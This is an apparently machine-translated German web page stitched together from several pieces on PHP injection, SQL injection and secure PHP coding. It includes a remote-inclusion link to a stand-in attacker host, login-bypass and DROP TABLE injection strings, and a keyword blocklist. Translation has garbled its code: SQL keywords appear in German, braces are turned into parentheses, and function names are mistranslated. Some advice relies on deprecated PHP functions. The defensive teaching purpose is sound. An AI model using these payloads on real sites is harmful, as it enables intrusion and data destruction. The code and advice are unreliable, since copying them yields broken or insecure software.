Php-Injektion erfüllt die Bedingung durch Hinzufügen von d get. Wie hackt man ein Formular? SQL-Injektion. Regeln zum Schreiben von sicherem Code in PHP
Beispiel
Dieses Skript ist angreifbar, da ".php" einfach zum Inhalt der $module-Variablen hinzugefügt und die Datei mit dem empfangenen Pfad verbunden wird.
Ein Hacker kann auf seiner Website eine Datei mit PHP-Code erstellen (http://hackersite.com/inc.php) und über einen Link wie http://mysite.com/index.php?module=http:/ auf die Website zugreifen. /hackersite.com/inc Führen Sie alle PHP-Befehle aus.
Schutzmethoden
Es gibt mehrere Möglichkeiten, sich vor einem solchen Angriff zu schützen:
- Überprüfen Sie, ob die $module-Variable irrelevante Zeichen enthält:
- Überprüfen Sie, ob $module auf einen der zulässigen Werte gesetzt ist:
Diese Methode ist effizienter, schöner und ordentlicher.
PHP bietet auch eine Option, um die Verwendung zu deaktivieren gelöschte Dateien, wird dies erreicht, indem die Option allow_url_fopen in der Serverkonfigurationsdatei php.ini auf Off gesetzt wird.
Die beschriebene Schwachstelle stellt eine hohe Gefahr für die Seite dar und die Autoren von PHP-Skripten sollten dies nicht vergessen.
siehe auch
Verknüpfungen
Wikimedia-Stiftung. 2010 .
Sehen Sie, was "PHP-Injektion" in anderen Wörterbüchern ist:
- ... Wikipedia
- ... Wikipedia
Dieser Begriff hat andere Bedeutungen, siehe PHP (Begriffsklärung). PHP-Semantik: Multiparadigma ... Wikipedia
E-Mail-Injection ist eine Angriffstechnik, die zum Exploit verwendet wird Mailserver und E-Mail-Anwendungen, die IMAP/SMTP-Ausdrücke aus nicht ordnungsgemäß validierten Benutzereingaben erstellen. Je nach Typ ... ... Wikipedia
Die Einführung von SQL-Code (dt. SQL-Injection) ist eine der gängigen Methoden zum Hacken von Websites und Programmen, die mit Datenbanken arbeiten, basierend auf der Einführung von beliebigem SQL in eine Abfrage, abhängig von der Art des verwendeten DBMS und den Implementierungsbedingungen , ... ... Wikipedia
Die Einführung von SQL-Code (dt. SQL-Injection) ist eine der gängigen Methoden zum Hacken von Websites und Programmen, die mit Datenbanken arbeiten, basierend auf der Einführung von beliebigem SQL in eine Abfrage, abhängig von der Art des verwendeten DBMS und den Implementierungsbedingungen , ... ... Wikipedia
PHP Semantik: Multi-Paradigma Ausführungstyp: Compiler-Interpreter Eingeführt: 1995 Autor(en): Rasmus Lerdorf letzte Version: 4 ... Wikipedia
Im engeren Sinne wird der Ausdruck derzeit als „Angriff auf das Sicherheitssystem“ verstanden und tendiert eher zur Bedeutung des folgenden Begriffs Cracker-Angriff. Dies war auf eine Verzerrung der Bedeutung des Wortes "Hacker" zurückzuführen. Hacker ... ... Wikipedia
Umgang mit SQL-Injection mit mit PHP
- Rumpelkammer *
Die SQL-Injection ist die gefährlichste Art von Angriff, da sie hinter unzähligen Hacking-Fällen steckt, die Unternehmens-Websites und -Portale und nur persönliche Homepages überlebt haben. Es ist eigentlich ganz einfach, Ihr Projekt zu schützen - dazu müssen Sie zuerst verstehen, was das Wesentliche dieses Problems ist, und einige Änderungen am Code vornehmen, um es zu schützen.
Was ist SQL-Injection
SQL-Injection bezieht sich auf die Aktionen, die Sie ausführen müssen, um Ihre eigene Datenbankabfrage ohne Ihr Wissen auszuführen. Meistens passiert dies, wenn Sie dem Benutzer anbieten, einige Informationen an den Server zu senden, der Angreifer jedoch anstelle der gewünschten Informationen seine Anfrage sendet, die versehentlich vom Server ausgeführt wird. Mit einer solchen Anfrage kann ein Angreifer nicht nur unzulässige Informationen aus der Datenbank abrufen, sondern unter bestimmten Bedingungen auch Änderungen daran vornehmen sowie Systembefehle ausführen.
SQL-Injection-Beispiele
Ein Angreifer kann seine Anfrage nicht nur durch Eingabe in das Informationseingabefeld (mit $_POST) senden, er kann auch seine $_GET-Variablen in der Adressleiste ersetzen oder sein $_COOKIE manuell ändern. Daher ist bei der Arbeit mit diesen globalen Datensätzen Vorsicht geboten.
Wenn Sie auf der Seite ein Formular zur Eingabe bestimmter Informationen haben, kann ein Angreifer dessen Felder für seine eigenen Zwecke verwenden. Statt der erwarteten Zeichenfolgen (Name, Passwort etc.) trägt er in ein solches Feld seine eigene Anfrage ein.
Die meisten dieser SQL-Injections sehen so aus:
Asd" oder 1=1--
Nehmen wir an, wir haben ein Anmeldeformular für Benutzer. Wenn wir einen solchen Code in das Login-Feld eingeben, können wir uns mit unserer SQL-Injection auch ohne die entsprechenden Prüfungen Zugang verschaffen. Wie es funktioniert? Überlegen Sie, welche Art von Anfrage wir aufgrund unserer Handlungen erhalten werden:
SELECT * FROM Benutzer WO Benutzername = "asd" oder 1=1--" und Passwort = "asd"
Wie Sie dem Beispiel entnehmen können, wird unser Code also erfolgreich ausgeführt. Und da der Ausdruck 1=1 immer wahr zurückgibt, bekommen wir garantiert Zugriff.
Sie fragen sich vielleicht, warum wir einen doppelten Bindestrich (--) brauchen. Dieser doppelte Bindestrich am Ende der Zeile weist den SQL-Server an, die restlichen Abfragen zu ignorieren. Wenn Sie eine Injektion nicht für SQL Server schreiben möchten, müssen Sie in diesem Fall den doppelten Bindestrich durch einen einfachen Apostroph ersetzen.
Beachten Sie, dass das obige Beispiel nur das Beste ist Standard Version, aber bei weitem nicht der einzige. Ihre Zahl ist einfach erstaunlich, und alles hängt davon ab, wie der Kopf des Angreifers funktioniert.
Beispiele für einige häufigere Injektionen:
") oder ("1"="1
"oder "1"="1
" oder "1"="1
Oder 1=1--
" oder 1=1--
" oder 1=1--
Es ist auch durchaus üblich, dass Angreifer die Adressleiste (URL) für ihre Angriffe verwenden. Diese Methode ist wie die vorherige nicht weniger gefährlich. Beim Einsatz von PHP und MySQL auf dem Server (on dieser Moment, die beliebteste Kombination), sieht die Adresse des Skripts normalerweise so aus:
http://somesite.com/login_script.php?id=1
Indem Sie einer solchen Zeile ein wenig SQL hinzufügen, können Sie schreckliche Dinge tun:
http://somesite.com/login_script.php?id=1'; DROP TABLE-Anmeldung; #
In diesem Fall wird das Vorzeichen verwendet # anstelle eines doppelten Bindestrichs, da es SQL Server mitteilt, alle nachfolgenden Abfragen zu ignorieren, die nach unserer kommen. Und das Gefährlichste (falls Sie es noch nicht bemerkt haben), wir haben dem Server gerade gesagt, dass er das Schild mit den Benutzern entfernen soll. Dieses Beispiel demonstriert gut, wie gefährlich SQL-Injektionen sein können.
Was Sie tun müssen, um Ihre Skripts vor SQL-Injection zu schützen
Wir wissen bereits, dass SQL-Injection-Schwachstellen auftreten, wenn Informationen von Benutzern ohne ordnungsgemäße Verarbeitung in eine Datenbankabfrage gelangen. Der nächste Schritt besteht also darin, sichere Skripte zu schreiben.
Zum Glück, Gefahr gegeben ist schon lange bekannt. PHP hat sogar eine spezielle Funktion (seit Version 4.3.0), die diese Art von Angriff bekämpft - mysql_real_escape_string.
mysql_real_escape_string macht die Zeichenfolge für die Verwendung in Datenbankabfragen sicher, indem alle potenziell gefährlichen Zeichen maskiert werden. Typischerweise ist ein solches aufeinanderfolgendes Zeichen ein einzelnes Apostroph ("), das nach Verwendung dieser Funktion maskiert wird (\").
Zum Schutz vor SQL-Injection müssen alle externen Parameter ($_GET, $_POST, $_COOKIE) eingeschlossen werden, bevor sie in eingeschlossen werden SQL-Abfrage, arbeiten mit mysql_real_escape_string(), und setzen Sie sie in der Abfrage selbst in ein einzelnes Apostroph. Wenn du dich daran hältst einfache Regel, dann führen die Aktionen des Angreifers zur Bildung sicherer Abfragen, da der gesamte Text seiner SQL-Injektionen jetzt in Apostrophen steht.
Schauen wir uns an, was der Server tatsächlich mit dieser Verarbeitung macht:
SQL-Injection (die Zeichenfolge, die der Angreifer anstelle seines Logins in das Feld „Login“ eingegeben hat):
SQL" oder 1=1--
$name = mysql_real_escape_string($_POST["Benutzername"]);
$res = mysql_query("SELECT * FROM users WHERE username = "".$name."" and password = "asd"");
SELECT * FROM users WO Benutzername = "sql\" oder 1=1--" und Passwort = "asd"
Das heißt, bei einer solchen Anfrage versuchen wir, anstelle gefährlicher Aktionen, die Daten eines Benutzers auszuwählen, der einen ziemlich seltsamen Benutzernamen hat (sql\"oder 1=1-).
Sie können noch weiter gehen und eine Funktion schreiben, die die Arrays $_GET, $_POST und $_COOKIE automatisch entsprechend verarbeitet, aber es hängt alles von Ihren Wünschen ab. Das Einzige, woran Sie denken müssen, ist, dass Sie alle Stellen schützen müssen, an denen Daten vom Benutzer in die Datenbank übertragen werden.
Eines der wichtigsten Probleme für Webprogrammierer ist die Sicherheit von PHP-Skripten. Alle Programmierer verwenden teilweise verschiedene Methoden, um ihr Projekt abzusichern, aber leider wird in den meisten Fällen der Schutz gegen mehrere Schwachstellen verwendet, während andere Problembereiche nicht einmal berücksichtigt werden.
Dieser Artikel listet die wichtigsten Typen auf PHP-Schwachstellen und erwogen Möglichkeiten, sich davor zu schützen.
Arten von PHP-Schwachstellen
- Demonstration von Fehlern für den Benutzer
Bedeutung: Bei Fehlern im Code werden dem Benutzer Informationen über den aufgetretenen Fehler angezeigt. Es ist keine kritische Schwachstelle, aber es wird den Hacker zwingen, sie zu bekommen Zusätzliche Informationüber Aufbau und Betrieb des Servers. - Verfügbarkeit von Systemleistungsdaten für den Benutzer
Bedeutung: Der Benutzer kann auf Daten zugreifen, die einen Einblick in das System geben. Es handelt sich nicht um eine kritische Schwachstelle, aber sie ermöglicht es einem Angreifer, zusätzliche Informationen über die Struktur und den Betrieb des Servers zu erhalten. Der Grund für diese Schwachstelle liegt in den Fehlern und "Versehen" des Programmierers. Ein Beispiel ist das Vorhandensein der Datei phpinfo.php mit der gleichnamigen Funktion in der Public Domain. - Bereitstellung von Daten über den Programmcode für den Benutzer
Bedeutung: Der Benutzer kann auf die Programmcodes von Modulen zugreifen, die eine andere Erweiterung als php haben. Es ist eine kritische Schwachstelle, da sie es einem Angreifer ermöglicht, genug zu bekommen volle Informationüber die Struktur und den Betrieb des Servers, um seine Schwachstellen zu identifizieren. - Einfache Passwörter für den Zugriff auf Verwaltungsseiten
Bedeutung: Ein Angreifer kann ein einfaches Passwort für eine Verwaltungsseite erraten, die ihm gegeben wird Weitere Möglichkeiten zum Hacken. Es handelt sich um eine kritische Schwachstelle, da sie es einem Angreifer ermöglicht, den Betrieb des Servers zu beeinflussen. - Fähigkeit, globale Variablen zu setzen
Bedeutung: Bei fehlerhaften PHP-Einstellungen ist es möglich, globale Script-Variablen über den Query-String zu setzen. Es handelt sich um eine kritische Schwachstelle, da ein Angreifer das Skript zu seinen Gunsten beeinflussen kann. - PHP-Injektion
Bedeutung: in einem Parameter, der definiert PHP-Job mit Dateien oder Programmcode, ein Link zu einem Drittanbieter Programmiercode oder der Code selbst. Es handelt sich um eine kritische Schwachstelle, da ein Angreifer seine Skripte auf dem Server ausführen kann. Der Code wird mit den folgenden Funktionen ausgeführt: eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen() . - PHP-Injection per Datei-Upload
Bedeutung: Wenn es möglich ist, globale Variablen zu setzen, wird ein Link zu einem fremden Programmcode oder einer vertraulichen Datei auf dem Server an den Parameter übergeben, der die auf den Server hochgeladene Datei bestimmt. Es handelt sich um eine kritische Schwachstelle, da ein Angreifer seine Skripte auf dem Server ausführen oder sich Zugang zu vertraulichen Daten verschaffen kann. Diese Schwachstelle ist nur möglich, wenn globale Variablen gesetzt werden können und der Mechanismus zum Laden von Dateien falsch organisiert ist. - E-Mail-Injektion
Bedeutung: in einem Parameter, der bestimmt, wie PHP damit arbeitet E-Mails, ein Link zu einem Programmcode eines Drittanbieters oder der Code selbst wird übergeben. Es handelt sich um eine kritische Schwachstelle, da ein Angreifer seine Skripte auf dem Server ausführen oder sich Zugriff auf vom Benutzer gespeicherte Daten verschaffen kann. - SQL-Injektion
Bedeutung: Daten werden an den Parameter übergeben, der die SQL-Abfrage definiert und eine Abfrage für den Zugriff auf private Daten bildet. Es handelt sich um eine kritische Schwachstelle, da ein Angreifer sensible Daten in der Datenbank speichern kann. Um eine Abfrage zu ändern, kann ein Angreifer die folgenden Konstrukte verwenden: SELECT, UNION, UPDATE, INSERT, OR, AND . - Cross Site Scripting oder XSS
Bedeutung: Dem Parameter wird ein Programmcode eines Drittanbieters übergeben, der bestimmt, welche Daten dem Benutzer angezeigt werden. Dies ist eine kritische Schwachstelle, da ein Angreifer sensible Daten erhalten kann, die im Browser des Clients gespeichert sind. Der Cracker verwendet HTML-Tags, um die Anfrage zu ändern.
Regeln zum Schreiben von sicherem Code in PHP
- Fehlerausgang blockieren
Dazu reicht es, im Programmcode error_reporting (0) zu setzen oder in der .htaccess-Datei die Zeile php_flag error_reporting 0 hinzuzufügen - Verwendungszweck komplexe Passwörter um auf Verwaltungsseiten zuzugreifen
Dazu reicht es aus, mehrwertige Passwörter zu verwenden, die keine semantische Bedeutung haben (z. B. K7O0iV98dq). - Protokollieren kritischer Benutzeraktionen
Bietet keinen direkten Schutz, ermöglicht es Ihnen jedoch, Angreifer zu identifizieren und die von ihnen verwendeten Schwachstellen zu ermitteln. Dazu reicht es aus, die Aktionen des Benutzers und die von ihm übermittelten Daten, die sich auf kritische Momente des Systems beziehen, in eine Klartextdatei zu schreiben.
Ein Beispiel für die Logging-Funktion und ihre Bedienung:
Funktion Writelog($typelog, $log_text) (
$log = fopen("logs/".$typelog.".txt","a+");
fwrite($log, "$log_text\r\n");
fclose($log);
}
writelog("authorization", date("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tErfolgreiche Anmeldung"); - Sperren des Zugriffs auf Site-Module
Bietet Schutz vor Versuchen, ihren Inhalt anzuzeigen oder auszuführen. Dazu genügt es, den Zugriff auf Moduldateien in der .htaccess-Datei mit den Konstrukten FilesMatch und Files zu konfigurieren.
Zum Beispiel schließen wir den Zugriff auf alle Module mit php-Erweiterung, mit Ausnahme der capcha.php-Datei: - Deaktivierung der Möglichkeit, globale Variablen festzulegen
Dazu genügt es, in den Servereinstellungen register_globals = off zu setzen; oder fügen Sie in der .htaccess-Datei die Zeile php_flag register_globals off hinzu. Mit ini_set("register_globals",0); löst das Problem nicht dadurch, dass die Variablen gesetzt werden, bevor das Skript ausgeführt wird. - Deaktivieren der Möglichkeit, Remote-Dateien zu verwenden
Dazu genügt es, in den Servereinstellungen allow_url_fopen = off zu setzen; . Dies bietet einen teilweisen Schutz vor PHP-Injections, aber keinen vollständigen Schutz, da ein Angreifer keinen Link auf eine Datei mit Programmcode, sondern den Programmcode selbst weitergeben kann. Um sich vollständig vor PHP-Injektionen zu schützen, müssen Sie zusätzlich die Filterung eingehender Daten verwenden. Manchmal kann diese Schutzmaßnahme aufgrund der Art des Projekts nicht verwendet werden (Sie müssen auf Remote-Dateien zugreifen). - Eingehende Daten filtern
Bietet Schutz vor den meisten Schwachstellen. Es gibt keine universelle Lösung. Es ist ratsam, eine Prüfung anhand der "weißen" Liste von Zeichen in Verbindung mit einer Prüfung auf verbotene Wörter zu verwenden. "Weiß" ist die Liste der erlaubten Zeichen. Diese Liste sollte keine gefährlichen Zeichen wie . Zu den verbotenen Wörtern gehören: script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp sowie html-Tags.
Ein Beispiel für das Filtern eingehender Daten:
// Whitelist-Prüfung. Es sind nur russische und lateinische Buchstaben, Zahlen und Zeichen _- erlaubt
if (preg_match("/[^(\w)|(A-Zaa-z-)|(\s)]/",$text)) (
$text = "";
}
// Gefährliche Wörter herausfiltern
if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$text)) (
$text = "";
} - Überprüfung des Datei-Uploads mit HTTP POST
Bietet Schutz vor PHP-Injektionen durch Datei-Uploads. Um dies sicherzustellen, müssen auf den Server hochgeladene Dateien mit der Funktion is_uploaded_file() geprüft oder mit der Funktion move_uploaded_file() verschoben werden. Dieser Typ Der Schutz kann entfallen, wenn die Möglichkeit zum Setzen globaler Variablen deaktiviert ist. - Escape-Anführungszeichen von Daten, die an die Datenbank übergeben werden
Bietet Schutz vor SQL-Injection. Die beste Vorgehensweise besteht darin, alle eingehenden nicht numerischen Daten mit der Funktion mysql_real_escape_string() zu verarbeiten. Sie können auch die automatische Überprüfung eingehender Daten verwenden. Dazu reicht es aus, die Zeile php_value magic_quotes_gpc on in die .htaccess-Datei einzufügen, aber diese Methode ist nicht zuverlässig, da sie zu doppeltem Escaping führen kann.
Ein Beispiel für das Maskieren von Anführungszeichen mit der Funktion mysql_real_escape_string():
if (!is_numeric($text)) (
$textrequest = mysql_real_escape_string($text);
} - Konvertieren Sie Sonderzeichen vor der Ausgabe in HTML-Entitäten
Bietet Schutz vor XSS. Dazu reichen die vom Benutzer eingegebenen Daten, die möglicherweise unerwünschte HTML-Tags enthalten, aus, um die Ausgabe mit der Funktion htmlspecialchars() zu verarbeiten. Auf diese Art des Schutzes kann verzichtet werden, wenn die Filterung eingehender Daten gefährliche html-Tags herausfiltert.
Wie Sie sehen können, ist die Erstellung eines gut durchdachten Skript-Sicherheitssystems nicht so zeitaufwändig, wie es scheint.
Dieser Artikel soll kein Tutorial zur Skriptsicherheit sein, aber ich hoffe, er ermutigt PHP-Programmierer, durchdachtere Sicherheitsmethoden zu verwenden.
Es ist zwar immer noch klar, dass ein Angreifer zumindest einige Kenntnisse über die Struktur einer Datenbank haben muss, um einen erfolgreichen Angriff durchzuführen, aber es ist oft sehr einfach, diese Informationen zu erhalten. Wenn die Datenbank beispielsweise Teil eines Open-Source- oder anderen öffentlich verfügbaren Softwarepakets mit einer Standardinstallation ist, sind diese Informationen vollständig öffentlich und verfügbar. Diese Daten können auch aus einem abgeschlossenen Projekt bezogen werden, selbst wenn es codiert, kompliziert oder kompiliert ist, und sogar aus Ihrem eigenen Code durch die Anzeige von Fehlermeldungen. Andere Methoden umfassen die Verwendung allgemeiner (leicht zu erratender) Tabellen- und Spaltennamen. Beispielsweise ein Anmeldeformular, das die Tabelle „Benutzer“ mit den Spaltennamen „ID“, „Benutzername“ und „Passwort“ verwendet.
Die meisten erfolgreichen Angriffe beruhen auf Code, der nicht unter Berücksichtigung angemessener Sicherheit geschrieben wurde. Vertrauen Sie keiner Eingabe, insbesondere wenn sie von der Clientseite stammt, selbst wenn es sich um Listen in einem Formular, versteckte Felder oder Cookies handelt. Das erste gegebene Beispiel zeigt, wie solche Anfragen zu einer Katastrophe führen können.
- Stellen Sie niemals mit einer Datenbank eine Verbindung her Konto Datenbankbesitzer oder Superuser. Versuchen Sie immer, speziell erstellte Benutzer mit den eingeschränktesten Rechten zu verwenden.
- Verwenden Sie vorbereitete Ausdrücke mit gebundenen Variablen. Diese Fähigkeit wird von den PDO-Erweiterungen, MySQLi und anderen Bibliotheken bereitgestellt.
- Überprüfen Sie die eingegebenen Daten immer gegen den erwarteten Typ. PHP verfügt über eine Vielzahl von Funktionen zur Datenvalidierung, die von den einfachsten Funktionen zum Manipulieren von Variablen bis hin zu Funktionen zum Bestimmen des Zeichentyps (wie z ist_numerisch() und ctype_digit() bzw.) und mit Perl-kompatiblen regulären Ausdrücken enden.
- Wenn gebundene Variablen auf Datenbankebene nicht unterstützt werden, maskieren Sie immer alle nicht numerischen Daten, die in Datenbankabfragen verwendet werden, mit speziellen Escape-Funktionen, die für die von Ihnen verwendete Datenbank spezifisch sind (z. B. mysql_real_escape_string(), sqlite_escape_string() usw.). Allgemeine Funktionen sowie fügt Wimpern hinzu () sind nur in bestimmten Fällen nützlich (z. B. MySQL in Single-Byte-Codierung mit deaktiviertem NO_BACKSLASH_ESCAPES), daher ist es am besten, sie zu vermeiden.
- Zeigen Sie auf keinen Fall Informationen über die Datenbank an, insbesondere nicht über deren Struktur. Lesen Sie auch die entsprechenden Abschnitte der Dokumentation: "Fehlermeldungen" und "Fehlerbehandlungs- und Protokollierungsfunktionen".
- Sie können gespeicherte Prozeduren und vordefinierte Cursor verwenden, um auf abstrakte Weise mit Daten zu arbeiten, ohne Benutzern direkten Zugriff auf die Daten und Ansichten zu geben, aber diese Lösung hat ihre eigenen Macken.
Falls die Anwendung auf eine numerische Eingabe wartet, wenden Sie die Funktion an ctype_digit() um die eingegebenen Daten zu validieren oder ihren Typ mit zu erzwingen settype(), oder verwenden Sie einfach die numerische Darstellung mit der Funktion sprintf().
Beispiel #5 Sicherere Paginierungsimplementierung
settype($offset , "integer" );
$abfrage = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET$offset ;" ;
// Beachten Sie das %d-Format, die Verwendung von %s wäre sinnlos
$query = sprintf( "ID, Name AUSWÄHLEN VON Produkten ORDER BY Name LIMIT 20 OFFSET %d;",
$offset);
?>
Zusätzlich zu all dem oben Genannten können Sie Abfragen in Ihrem Skript oder auf Datenbankebene protokollieren, sofern dies unterstützt wird. Offensichtlich kann die Protokollierung keinen Schaden verhindern, aber sie kann beim Aufspüren einer kompromittierten Anwendung helfen. Die Protokolldatei an sich ist nicht nützlich, aber die Informationen, die sie enthält. Darüber hinaus ist es in den meisten Fällen sinnvoll, alle möglichen Details zu protokollieren.
